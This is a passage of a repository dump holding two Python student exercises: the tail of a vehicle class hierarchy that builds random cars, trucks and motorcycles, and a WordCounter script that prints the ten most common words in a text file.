super().__init__(manufacturer, model, wheels, typeOfVehicle, seats) 51 | self.manufacturingNumber = manufacturingNumber 52 | print("A motorcycle was created!") 53 | 54 | def printDetails(self): 55 | super().printDetails() 56 | print(f"Manufacturing Number: {self.manufacturingNumber}") 57 | 58 | 59 | def createVehicles(manufacturers, models, seats, total): 60 | vehicles = [] 61 | for i in range(5): 62 | typeOfVehicle = random.choice(list(models.keys())) 63 | manufacturingNumber = total[typeOfVehicle] + 1 64 | total[typeOfVehicle] += 1 65 | vehicle = eval(typeOfVehicle)( 66 | random.choice(manufacturers), 67 | random.choice(models[typeOfVehicle]), 68 | random.randint(2, 4), 69 | typeOfVehicle, 70 | random.choice(seats[typeOfVehicle]), 71 | manufacturingNumber) 72 | vehicles.append(vehicle) 73 | return vehicles 74 | 75 | 76 | 77 | def main(): 78 | manufacturers = ["Toyota", "GM", "Ford", "Jeep", "Audi"] 79 | models = {'Car': ["X11", "i3", "XFCE"], "Truck": ["Linux", "Unix", "FreeBSD"], "Motorcycle": ["Triforce", "Mushroom", "Morphball"]} 80 | seats = {"Car": [2, 3, 4, 5], "Truck": [2, 3, 4], "Motorcycle": [1, 2]} 81 | total = {"Car": 0, "Truck": 0, "Motorcycle": 0} 82 | vehicles = createVehicles(manufacturers, models, seats, total) 83 | vehicle = random.choice(vehicles) 84 | print("\t") 85 | vehicle.printDetails() 86 | print("\t") 87 | vehicle.checkInfo(model= False) 88 | print("\t") 89 | print(f"Car: {total['Car']}, Truck: {total['Truck']}, Motorcycle: {total['Motorcycle']}") 90 | 91 | if __name__ == "__main__": 92 | main() 93 | -------------------------------------------------------------------------------- /word_counter.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | from collections import Counter 3 | import string 4 | 5 | # Defining a class to count the occurrence of words in a file 6 | class WordCounter: 7 | # Initializing the class with the file name 8 | def __init__(self, file): 9 | self.file = file 10 | self.words_dict = self.get_words_dict() 11 | 12 | # Defining a function to get a dictionary with word counts 13 | def get_words_dict(self): 14 | # Opening the file and reading its contents 15 | with open(self.file) as f: 16 | Words = f.read().split() 17 | # Removing punctuation from each word 18 | Words = [w.strip(string.punctuation) for w in Words] 19 | # Counting the occurrence of each word using Counter 20 | words_dict = Counter(Words) 21 | return words_dict 22 | 23 | # Defining a function to print the top 10 words 24 | def top_10_words(self): 25 | # Using most_common() function of Counter to get top 10 words 26 | topletters = self.words_dict.most_common(10) 27 | for x, word in enumerate(topletters): 28 | print(f"{x}: ('{word[0]}', {word[1]})") 29 | 30 | 31 | # Defining the main function to execute the code 32 | def main(): 33 | # Creating an instance of WordCounter class with the file name 34 | countLetters = WordCounter('text.txt') 35 | # Calling top_10_words() function to print top 10 words 36 | countLetters.top_10_words() 37 | 38 | 39 | # Checking if the code is being run as the main program 40 | if __name__ == '__main__': 41 | # Calling the main function to execute the code 42 | main() 43 | --------------------------------------------------------------------------------